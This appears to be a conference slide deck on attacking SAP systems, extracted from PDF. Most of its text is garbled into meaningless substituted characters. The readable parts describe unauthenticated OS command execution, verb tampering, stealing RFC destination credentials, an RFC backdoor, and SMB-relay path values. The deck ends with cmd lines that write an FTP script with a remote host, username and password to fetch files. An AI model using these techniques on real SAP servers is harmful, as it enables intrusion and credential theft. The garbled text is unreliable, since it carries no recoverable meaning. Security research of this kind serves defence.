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!EZD+'&(,56,EED,

+2)*%&6F%$B, KU,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

(W2Uff:)9>)9U2%9'f119fJJ+{yD)0/1)h||:1<:0=})9|/03yD)!

9*%&'%$"2'3(":'&-'02.("'



#2+?+6Q$6,

+2)*%&6F%$B, KV,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

• !!!q25/')!'()!D/'):'!-@,!0%'):!8Z]dbddd?!
• !!!6=:/<D)!;00).)::/93!/22D=./F%0:!
• !!!*0/<D)!/;'(%9=I/F%0!.().O:!S()9)!'()3!/9)!0).)::/93!!
• !!!K%9!5)>)D%2)9:U!D=1='!/..)::!%0D3!&%9!D%./D!:3:')1!/05!/D:%!!!!!
<3!5=9).'%93!/05!yD)!'32)!
• !!!*0/<D)!-@,!"-+K!29%').F%0!@,Q!
 



'1!D^,)2$C+%Q$6,

+2)*%&6F%$B, KW,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

,
,!C&6=&2=,]!D^,#2$C+%Q$6F,,
,K9/1)S%9O!H)0)9/'):!x-+K!
'%O)0L!/22D=):!)='()9!'%!,$-#B
</:)5!%9!7*#B</:)5!)0.%5=0HL!
/05!>/D=5/'):!'()!.%99).'0)::!%&!
'()!:;<:)~;)0'!9)~;):':V!

!!

-'/05/95!x-+K!,9%').F%0!=:!9).%11)05)5!

,,,,,

,13*C$B,1!D^,#2$C+%Q$6F,,
,,,,,,,K9/1)S%9O!H)0)9/'):!/05!29%>=5):!/0!

x-+K!'%O)0!'%!'()!/22D=./F%0!'(9%;H(!
'()!x-+K!,9%').F%0!@,QV!!#()!%0D3!S/3!
=&!3%;!S/0'!'%!29%').'!:%1)'(=0H!
5=})9)0'!&9%1!:'/05/95!7*#f,$-#!
9)~;):':V!!

!!



1!D^,)2$C+%Q$6,P()&**,

+2)*%&6F%$B, RY,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

J/3<)!'()9)!=:!/!2D/.)!S()9)!"-+K!29%').F%0!=:!=12%::=<D){!



1!D^,)2$C+%Q$6,P()&**,

+2)*%&6F%$B, RX,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

! !-@,!(/>)!/DD!<;'!3%;!0))5!'%!y05!='!8.?!6-).+7!!



!#EL,"2%45C+%C32+,

+2)*%&6F%$B, R:,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,



!#EL,"%Q$6*,

+2)*%&6F%$B, RI,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

/+,%&60,
• !!!!!"9)/F0H!%<C).':!8)G.)2'!:/2!9%D):?!
• !!!!!J%5=&3=0H!%<C).':!8;:)9:L!9%D):L!H9%;2:?!
• !!!!!-)/9.(=0H!&%9!%<C).':!
• !!!!!6)D)F0H!%<C).'!
!
!



!#EL,"%Q$6*,

+2)*%&6F%$B, RK,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

/+,%&60,
• !!!!!"9)/F0H!%<C).':!8)G.)2'!:/2!9%D):?!
• !!!!!J%5=&3=0H!%<C).':!8;:)9:L!9%D):L!H9%;2:?!
• !!!!!-)/9.(=0H!&%9!%<C).':!
• !!!!!6)D)F0H!%<C).'!
!
!

/+,-++=0,
• !!!!!qJ*V-21Ds+)/5s@.F%0!
• !!!!!qJ*V-21DsA9=')s@.F%0!
!



!#EL,"%Q$6*,

+2)*%&6F%$B, RR,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

/+,%&60,
• !!!!!"9)/F0H!%<C).':!8)G.)2'!:/2!9%D):?!
• !!!!!J%5=&3=0H!%<C).':!8;:)9:L!9%D):L!H9%;2:?!
• !!!!!-)/9.(=0H!&%9!%<C).':!
• !!!!!6)D)F0H!%<C).'!
!
!

/+,-++=0,
• !!!!!qJ*V-21Ds+)/5s@.F%0!
• !!!!!qJ*V-21DsA9=')s@.F%0!
!

,

.DS!
!



"e&%>567,!#EL,

+2)*%&6F%$B, RT,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

!
•  "9)/')!('1D!2/H)!'(/'!S=DD!:)05!

x1D4W2+)~;):'!'%!-,Ja!
•  +)~;):'!1;:'!.)9/')!/!;:)9!
•  K%;05!!x--!=0!-@,!
•  Q0C).'!'(=:!2/H)!;0'%!x--!
•  A/='!;0FD!/51=0=:'9/'%9!.D=.O:!='!!!!!!!!!!!!!

!#D.^\a,



.o"g,

+2)*%&6F%$B, RU,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

!!"#,&*>+=0,=$68C,)3P'5*4,=+C&5'*,$O,!#EL,2+p3+*C,



7*&';0(&<'!'

+2)*%&6F%$B, RV,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

(W2UffSSSV:50V:/2V.%1f=9Cf:.0fH%f2%9'/Df29'9%%'f5%.:fD=<9/93f;;=5fccd)ccX`B[\[ZB[[Z[B\./[B``].<\5)._/b{z;=.Oa=0Oh=05)GR%>)99=5)D/3%;'h'9;)!

g$3,%&6,7+C,=+C&5'*,O2$B,!"#8*,=$%3B+6C&Q$6,



#2+?+6Q$6,

+2)*%&6F%$B, RW,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

• !!!a=1='!/..)::!'%!-,Ja!%0D3!&%9!@51=0=:'9/'%9:!%9!Q6J!:)9>)9:!:;<0)'!!
• !!!!@::=H0!-,Ja!/51=0=:'9/F%0!9%D):!%0D3!'%!/!:1/DD!/1%;0'!%&!;:)9:!
• !!!!6=:/<D)!-,Ja!=&!='!=:!0%'!;:)5!
• !!!!q25/')!'()!D/'):'!-@,!0%'):!/<%;'!x--!>;D0)9/<=D=F):!!
 



"3C4+6Q%&Q$6,

+2)*%&6F%$B, TY,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

!!A)<!63029%!!!!!!!!!!!!!!!!!!!!!B!29%H9/11/F.!
!!,%9'/D!=N=)S:!!!!!!!!!!!!!!!!!!!!B!29%H9/11/F.!
!!PX**!A)<!/22:!!!!!!!!!!!!!!!!B!5).D/9/F>),

#2$72&BB&Q%!!
E3!qJ*,

A+%'&2&Q?+!!!
E3!A*EVxJa!



=$)30+01#$'0*&>$"1)01-"'''

+2)*%&6F%$B, TX,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

<:).;9='3B.%0:'9/=0'�!
mS)<B9):%;9.)B.%DD).F%0�!
mS)<B9):%;9.)B0/1)�+):'9=.')5/..)::mfS)<B9):%;9.)B0/1)�!
m;9DB2/W)90�f/51=0fgmf;9DB2/W)90�!
m(W2B1)'(%5�7*#mf(W2B1)'(%5�!
m(W2B1)'(%5�,$-#mf(W2B1)'(%5�!
m(W2B1)'(%5�6*a*#*mf(W2B1)'(%5�!
mfS)<B9):%;9.)B.%DD).F%0�!
! !m/;'(B.%0:'9/=0'�!
!!!! !m9%D)B0/1)�/51=0mf9%D)B0/1)�!
! !mf/;'(B.%0:'9/=0'�!
mf:).;9='3B.%0:'9/=0'�!
 

A*EVxJa!yD)!=:!:'%9)5!=0!A*EBQYK!5=9!%&!/22V!9%%'!



!"#-:$+'5$+#3$&'

+2)*%&6F%$B, T:,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

9/2=5!./DD=0H!:)9>D)':!<3!'()=9!.D/::!0/1)!



!"#-:$+'5$+#3$&'

+2)*%&6F%$B, TI,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

9/2=5!./DD=0H!:)9>D)':!<3!'()=9!.D/::!0/1)!

,;<D=:()5!<3!-@,!=0!'()=9!:).;9='3!H;=5):!



!"#-:$+'5$+#3$&'

+2)*%&6F%$B, TK,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

9/2=5!./DD=0H!:)9>D)':!<3!'()=9!.D/::!0/1)!

,;<D=:()5!<3!-@,!=0!'()=9!:).;9='3!H;=5):!

./DD!/03!:)9>D)'!&9%1!/22D=./F%0!)>)0!=&!='!=:!0%'!
5).D/9)5!=0!!A*EVxJa!



!"#-:$+'5$+#3$&'

+2)*%&6F%$B, TR,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

9/2=5!./DD=0H!:)9>D)':!<3!'()=9!.D/::!0/1)!

,;<D=:()5!<3!-@,!=0!'()=9!:).;9='3!H;=5):!

./DD!/03!:)9>D)'!&9%1!/22D=./F%0!)>)0!=&!='!=:!0%'!
5).D/9)5!=0!!A*EVxJa!

L+C*,3*+,5C,O$2,P()&**,,



\6?$>+2,!+2?'+C,56,/;ZF]EL,

+2)*%&6F%$B, TT,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

m:)9>D)'�!!
!!!m:)9>D)'B0/1)�"9=F./D@.F%0mf:)9>D)'B0/1)�!!
!!!m:)9>D)'B.D/::�.%1V:/2V/51=0V"9=F./DV@.F%0mf:)9>D)'B.D/::�!!!!!
mf:)9>D)'�!
m:)9>D)'B1/22=0H�!!
!!!!!m:)9>D)'B0/1)�"9=F./D@.F%0mfmf:)9>D)'B0/1)�!!
!!!!!m;9DB2/W)90�f/51=0f.9=F./Dmf;9DB2/W)90�!!
!mf:)9>D)'B1/22=0H!
m:).;9='3B.%0:'9/=0'�!
mS)<B9):%;9.)B.%DD).F%0�!
mS)<B9):%;9.)B0/1)�+):'9=.')5/..)::mfS)<B9):%;9.)B0/1)�!
m;9DB2/W)90�f/51=0fgmf;9DB2/W)90�!
m(W2B1)'(%5�7*#mf(W2B1)'(%5�!
mfS)<B9):%;9.)B.%DD).F%0�!
m/;'(B.%0:'9/=0'�!
!!!! !m9%D)B0/1)�/51=0mf9%D)B0/1)�!
! !mf/;'(B.%0:'9/=0'�!
mf:).;9='3B.%0:'9/=0'�!
 



\6?$>+2,!+2?'+C,&3C4,P()&**,

+2)*%&6F%$B, TU,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

m:)9>D)'�!!
!!!m:)9>D)'B0/1)�"9=F./D@.F%0mf:)9>D)'B0/1)�!!
!!!m:)9>D)'B.D/::�.%1V:/2V/51=0V"9=F./DV@.F%0mf:)9>D)'B.D/::�!!!!!
mf:)9>D)'�!
m:)9>D)'B1/22=0H�!!
!!!!!m:)9>D)'B0/1)�"9=F./D@.F%0mfmf:)9>D)'B0/1)�!!
!!!!!m;9DB2/W)90�f/51=0f.9=F./Dmf;9DB2/W)90�!!
!mf:)9>D)'B1/22=0H!
m:).;9='3B.%0:'9/=0'�!
mS)<B9):%;9.)B.%DD).F%0�!
mS)<B9):%;9.)B0/1)�+):'9=.')5/..)::mfS)<B9):%;9.)B0/1)�!
m;9DB2/W)90�f/51=0fgmf;9DB2/W)90�!
m(W2B1)'(%5�7*#mf(W2B1)'(%5�!
mfS)<B9):%;9.)B.%DD).F%0�!
m/;'(B.%0:'9/=0'�!
!!!! !m9%D)B0/1)�/51=0mf9%D)B0/1)�!
! !mf/;'(B.%0:'9/=0'�!
mf:).;9='3B.%0:'9/=0'�!
 

/4&C,5O,`+,%&'',i*+2?'+Ci%$BF*&)F&=B56F125Q%&'F"%Q$6,,



#2+?+6Q$6,

+2)*%&6F%$B, TV,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

!
u !!!!!q25/')!'%!'()!D/'):'!2/'.(!
u !!!!!Ä*0/<D)Q0>%O)9-)9>D)'7D%</DD3Å!29%2)9'3!%&!'()!:)9>D)'sC:2!1;:'!<)!Ä&/D:)Å!!
u !!!!!Q&!3%;!0))5!'%!2/9F/DD3!)0/<D)!=0>%O)9!:)9>D)'!.().O!-@,!0%')!Z]]_``d!
u !!!!!K%9!-@,!Y)'A)/>)9!,%9'/DL!:))!-@,!Y%')!Z]c\\\Z!
!
!
!Q&!3%;!./0v'!=0:'/DD!2/'.():!&%9!:%1)!9)/:%0:!3%;!./0!.().O!/DD!A*EVxJa!yD):!;:=0H!
*+,-./0!S)<VG1D!:./00)9!1/0;/DD3V!



\,`&6C,B$2+b,

+2)*%&6F%$B, TW,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-!01.#!2#&#!3'(2!1!
,'./4#!5&#1.666!
7!5&#1.!89!83:':;!
144!"7<,!=,':;!8:#!

>%;!!



"6=,\,O$36=,5CnnF,,

+2)*%&6F%$B, UY,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

,[;DZ,a&B)+2567,



[+2P,a&B)+2567,

+2)*%&6F%$B, UX,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

<:).;9='3B.%0:'9/=0'�!
mS)<B9):%;9.)B.%DD).F%0�!
mS)<B9):%;9.)B0/1)�+):'9=.')5/..)::mfS)<B9):%;9.)B0/1)�!
m;9DB2/W)90�f/51=0fgmf;9DB2/W)90�!
m(W2B1)'(%5�7*#mf(W2B1)'(%5�!
mfS)<B9):%;9.)B.%DD).F%0�!
! !m/;'(B.%0:'9/=0'�!
!!!! !m9%D)B0/1)�/51=0mf9%D)B0/1)�!
! !mf/;'(B.%0:'9/=0'�!
mf:).;9='3B.%0:'9/=0'�!
 

/4&C,5O,`+,`5'',3*+,_;"A,56*C+&=,$O,M;a,S,



[+2P,a&B)+2567,

?#&>!@1./#&':;!',!1!51&A!28&,#!5#,$&'>#5!>)!7&,21:!B1>'&,'1;2'!':!CDDE!
32'$2!58#,:F(!21G#!.1:)!A:83:!#H1./4#,!%:I4!:83!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, U:,



[+2P,a&B)+2567,

?#&>!@1./#&':;!',!1!51&A!28&,#!5#,$&'>#5!>)!7&,21:!B1>'&,'1;2'!':!CDDE!
32'$2!58#,:F(!21G#!.1:)!A:83:!#H1./4#,!%:I4!:83!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, UI,

J;:'!<)!:).;9='3!.%0'9%D!'(/'!D=:':!4##,!>)9<:!!



[+2P,a&B)+2567,

?#&>!@1./#&':;!',!1!51&A!28&,#!5#,$&'>#5!>)!7&,21:!B1>'&,'1;2'!':!CDDE!
32'$2!58#,:F(!21G#!.1:)!A:83:!#H1./4#,!%:I4!:83!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, UK,

-).;9='3!.%0'9%D!&/=D:!'%!<D%.O!>)9<:!'(/'!/9)!0%'!
D=:')5!

J;:'!<)!:).;9='3!.%0'9%D!'(/'!D=:':!4##,!>)9<:!!



[+2P,a&B)+2567,

?#&>!@1./#&':;!',!1!51&A!28&,#!5#,$&'>#5!>)!7&,21:!B1>'&,'1;2'!':!CDDE!
32'$2!58#,:F(!21G#!.1:)!A:83:!#H1./4#,!%:I4!:83!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, UR,

7*#!&;0.F%0/D='3!S=DD!)G).;')!S='(!/0!4*@6!>)9<!

-).;9='3!.%0'9%D!&/=D:!'%!<D%.O!>)9<:!'(/'!/9)!0%'!
D=:')5!

J;:'!<)!:).;9='3!.%0'9%D!'(/'!D=:':!4##,!>)9<:!!



[+2P,a&B)+2567,

?#&>!@1./#&':;!',!1!51&A!28&,#!5#,$&'>#5!>)!7&,21:!B1>'&,'1;2'!':!CDDE!
32'$2!58#,:F(!21G#!.1:)!A:83:!#H1./4#,!%:I4!:83!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, UT,

7*#!&;0.F%0/D='3!S=DD!)G).;')!S='(!/0!4*@6!>)9<!

-).;9='3!.%0'9%D!&/=D:!'%!<D%.O!>)9<:!'(/'!/9)!0%'!
D=:')5!

J;:'!<)!:).;9='3!.%0'9%D!'(/'!D=:':!4##,!>)9<:!!

-+C,/+&?+2,9:;;,+6756+,4&*,&'',C4&C,O+&C32+*,bbbb,



Z3Cb,

,
-++=,C$,%4+%>,&'',RYY,&))'5%&Q$6*,O$20,
!
•  @22D=./F%0!1;:'!1=::!4*@6!.().O!=0!A*EVxJa!
•  @22D=./F%0!1;:'!)G).;')!4*@6!/:!7*#!
•  +)~;):'!1;:'!5%!:%1)!/.F%0!'(/'!5%):0v'!0))5!

'%!9)';90!9):;D'!!
•  +)~;):'!1;:'!5%!:%1)!9)/DD3!.9=F./D!/.F%0!

,

+2)*%&6F%$B, UU,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

#$C+6Q&''(,&P$3C,KY,&))'5%&Q$6*,&2+,?3'6+2&P'+,



D$36=,X,

A()0!Q!S/:!'%'/DD3!5):2=9)5ÇÇÇÇÇÇÇÇVV!
,
,

+2)*%&6F%$B, UV,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,



?''@'*"0*&>-+(A$2'=B5,

!

!!!!!!!!4*@6!!
!!f5=9f:;22%9'f"().O-)9>=.){.15s.().O!
!!RyD)Y/1)ah6*K@qa#ZV,Ka!
!!R5=9).'%93Y/1)ah6U|;:9|:/2|6J[|-M-|29%yD)!!

!
!

+2)*%&6F%$B, UW,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

"/0! <)! ;:)5! '%! %>)9S9=')! /03! $-! yD)! S='(! '9/:(!
>/D;):!



D$36=,:,

A()0!Q!S/:!'%'/DD3!5):2=9)5ÇÇÇÇÇÇÇÇVV!
,
,

+2)*%&6F%$B, VY,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,



C''@'*"0*&>-+(A$2'5678$30,,

!

!!!!!!!!4*@6!!
!!f5=9f:;22%9'f"().O-)9>=.){.15s.().O!
!!RyD)Y/1)ahyD)!
!!R5=9).'%93Y/1)ah||:1<:0=})9|:0=}|!!

!
!

+2)*%&6F%$B, VX,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

"/0!<)!;:)5!&%9!-JE9)D/3!/W/.O!/05!&;DD!/..)::!'%!$-!!



I,m,36&3C4$25q+=,72$3),&**576B+6C,

•  -).9)'!=0')9&/.)!&%9!1/0/H=0H!PX**!)0H=0)!
•  "/0!<)!/..)::)5!9)1%')D3!!
•  "/0!9;0!;:)9!1/0/H)1)0'!/.F%0:!!
•  Y%!5%.;1)0'/F%0!
•  J/03!.%11/05:!9)~;=9)!/55=F%0/D!/;'(!

+2)*%&6F%$B, V:,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

;<%+)C,*$B+,!,,



I,m,"3C4,P()&**,

/+,%&60,
•  @55!/03!;:)9!'%!/03!H9%;2!
•  "9)/')!/03!;:)9!
•  $'()9!'(=0H:!S='(!;:)9:!/05!9%D):!
!

+2)*%&6F%$B, VI,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,



K,m,C$C&',2+B$C+,%$6C2$',

+2)*%&6F%$B, VK,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

.6'(,:,_;"A,2+p3+*C*,



K,m,C$C&',2+B$C+,%$6C2$',

+2)*%&6F%$B, VR,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

.6'(,:,_;"A,2+p3+*C*,

"9)/')!0)S!;:)9! @::=H0!;:)9!'%!!
@51=0=:'9/'%9:!



A;E.,

+2)*%&6F%$B, VT,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

!_da,d#,"-A,A;E.bbbbbb,



/4&C,+'*+,

+2)*%&6F%$B, VU,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

#()9)!/9)!:FDD!:%1)!N#!>;D0:!=0!-@,!8B"J0KLMDDCNO?!

\C,5*,&2%45C+%C32&',)2$P'+B,



E."DDbbbbbbbbb,

•  $OVA)!/<D)!'%!(/.O!'()!P@N@V!
E;'!S)!0))5!1%9)!!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, VV,



_&%>567,"Z"#,

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, VW,

4%S!S)!./0!H)'!%0!'()!@E@,!=&!S)!5%0É'!(/>)!/!.9)5)0F/D:{,



_&%>567,"Z"#,

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WY,

D^1,



D^1Sb,M$,$6n,

!!!!!@2#!KP0!',!1:!"7<!':(#&91$#!/&8(8$84Q!32'$2!,'./4'R#,!(2#!
/&8;&1..':;!89!$8..%:'$1I8:!/&8$#,,#,!>#(3##:!,),(#.,S!
@2#!KP0,!#:1>4#!)8%!(8!$144!1:5!#H#$%(#!/&#5#R:#5!9%:$I8:,!
':!1!&#.8(#!,),(#.Q!8&!':!(2#!,1.#!,),(#.S!-:!(2#!TCJJ!J:;':#!
(2#!KP0!9%:$I8:,!1&#!'./4#.#:(#5!>)!(2#!T08!KP0!<&8G'5#&!
,#&G'$#Q!32'$2!',!%,#5!98&!/&8$#,,':;!7U7<!(8!T1G1!&#V%#,(,S!7!
9#1(%&#!',!/&8G'5#5!98&!&#$#'G':;!$144,!9&8.!(2#!"7<!,),(#.,!W!
(2',!',!58:#!>)!&#;',(#&':;!(2#!TCJJ!J:;':#!1,!1!KP0!
5#,I:1I8:S!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WX,

E;'!S)!0))5!/!D%H=0!/05!2/::!!&%9!+K"!./DD!



g+*b,/+,%&6F,

-).9)'!=0')9&/.)!./0!5%!1%9)!'(/0!;:)9!1/0/H)1)0'!!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, W:,



g+*b,/+,%&6F,

-).9)'!=0')9&/.)!./0!5%!1%9)!'(/0!;:)9!1/0/H)1)0'!!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WI,

*G).;')!$-!.%11/05!%0!'()!:)9>)9!:=5)!



g+*b,/+,%&6F,

-).9)'!=0')9&/.)!./0!5%!1%9)!'(/0!;:)9!1/0/H)1)0'!!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WK,

"9)/')!%S0!P/>/!+K"!5):F0/F%0:!

*G).;')!$-!.%11/05!%0!'()!:)9>)9!:=5)!



g+*b,/+,%&6F,

-).9)'!=0')9&/.)!./0!5%!1%9)!'(/0!;:)9!1/0/H)1)0'!!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WR,

+)/5!29%2)9F):!%&!)G=:F0H!P/>/!+K"!5):F0/F%0:,

"9)/')!%S0!P/>/!+K"!5):F0/F%0:!

*G).;')!$-!.%11/05!%0!'()!:)9>)9!:=5)!



g+*b,/+,%&6F,

-).9)'!=0')9&/.)!./0!5%!1%9)!'(/0!;:)9!1/0/H)1)0'!!

!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WT,

+)/5!29%2)9F):!%&!)G=:F0H!P/>/!+K"!5):F0/F%0:,

"9)/')!%S0!P/>/!+K"!5):F0/F%0:!

*G).;')!$-!.%11/05!%0!'()!:)9>)9!:=5)!

"'',C4&C,`5C4$3C,&3C4+6Q%&Q$6,



"3C4$25q&Q$6Sb,

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WU,



g+*b,/+,%&6F,

$OV!A)!./0!9)/5!29%2)9F):!%&!!P@N@!+K"!5):F0/F%0:V!-%!S(/'{!
!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WV,



g+*b,/+,%&6F,

$OV!A)!./0!9)/5!29%2)9F):!%&!!P@N@!+K"!5):F0/F%0:V!-%!S(/'{!
!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, WW,

q:)9:!/05!2/::S%95:!:2).=y)5!=0!!+K"!5):F0/F%0!



g+*b,/+,%&6F,

$OV!A)!./0!9)/5!29%2)9F):!%&!!P@N@!+K"!5):F0/F%0:V!-%!S(/'{!
!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYY,

!q:;/DD3!%&!(=H(D3!29=>=D)H)5!;:)9:!8S='(!-@,s@aa?!

q:)9:!/05!2/::S%95:!:2).=y)5!=0!!+K"!5):F0/F%0!



g+*b,/+,%&6F,

$OV!A)!./0!9)/5!29%2)9F):!%&!!P@N@!+K"!5):F0/F%0:V!-%!S(/'{!
!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYX,

-'%9)5!=0!P@N@!+K"!5):F0/F%0:!=0!.D)/9!')G',

!q:;/DD3!%&!(=H(D3!29=>=D)H)5!;:)9:!8S='(!-@,s@aa?!

q:)9:!/05!2/::S%95:!:2).=y)5!=0!!+K"!5):F0/F%0!



g+*b,/+,%&6F,

$OV!A)!./0!9)/5!29%2)9F):!%&!!P@N@!+K"!5):F0/F%0:V!-%!S(/'{!
!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XY:,

-'%9)5!=0!P@N@!+K"!5):F0/F%0:!=0!.D)/9!')G',

!q:;/DD3!%&!(=H(D3!29=>=D)H)5!;:)9:!8S='(!-@,s@aa?!

q:)9:!/05!2/::S%95:!:2).=y)5!=0!!+K"!5):F0/F%0!

"6=,`+,%&6,+&*5'(,7+C,5C,,



!&(,4+''$,C$,%2+=+6Q&'*,

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYI,



.PC&56567,D^1,=+*Q6&Q$6*,P(,"#\,

+2)*%&6F%$B, XYK,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,



Z&%>=$$2,

A)!.9)/')5!D=WD)!"7<!U1$A588&!9)/D=I)5!/:!C/>/!.D/::V!A(=.(!./0U!!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYR,



Z&%>=$$2,

A)!.9)/')5!D=WD)!"7<!U1$A588&!9)/D=I)5!/:!C/>/!.D/::V!A(=.(!./0U!!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYT,

7)'!P@N@!+K"!5):F0/F%0:!;:)9:!/05!2/::S%95:!



Z&%>=$$2,

A)!.9)/')5!D=WD)!"7<!U1$A588&!9)/D=I)5!/:!C/>/!.D/::V!A(=.(!./0U!!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYU,

"%00).'!;:=0H!'()1!'%!@E@,!:)9>)9:!

7)'!P@N@!+K"!5):F0/F%0:!;:)9:!/05!2/::S%95:!



Z&%>=$$2,

A)!.9)/')5!D=WD)!"7<!U1$A588&!9)/D=I)5!/:!C/>/!.D/::V!A(=.(!./0U!!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYV,

+)/5!/03!@E@,!'/<D)!

"%00).'!;:=0H!'()1!'%!@E@,!:)9>)9:!

7)'!P@N@!+K"!5):F0/F%0:!;:)9:!/05!2/::S%95:!



g+*b,/+,%&6F,

A)!.9)/')5!D=WD)!"7<!U1$A588&!9)/D=I)5!/:!C/>/!.D/::V!A(=.(!./0U!!

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XYW,

+)/5!/03!@E@,!'/<D)!

"%00).'!;:=0H!'()1!'%!@E@,!:)9>)9:!

7)'!P@N@!+K"!5):F0/F%0:!;:)9:!/05!2/::S%95:!

"9)/')!;:)9:!S='(!-@,s@aa!29%yD)!=0!@E@,!)0H=0)!



Z&%>=$$2,3)'$&=,

+2)*%&6F%$B, XXY,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

!!!! 
CMDLINE=cmd /k echo open $ftp>> 123.txt,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo $f_user>> 123.txt,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo $f_pass>> 123.txt,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo lcd $sap_dir>> 123.txt,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo binary >> 123.txt,WORKDIR=$sap_dir", 
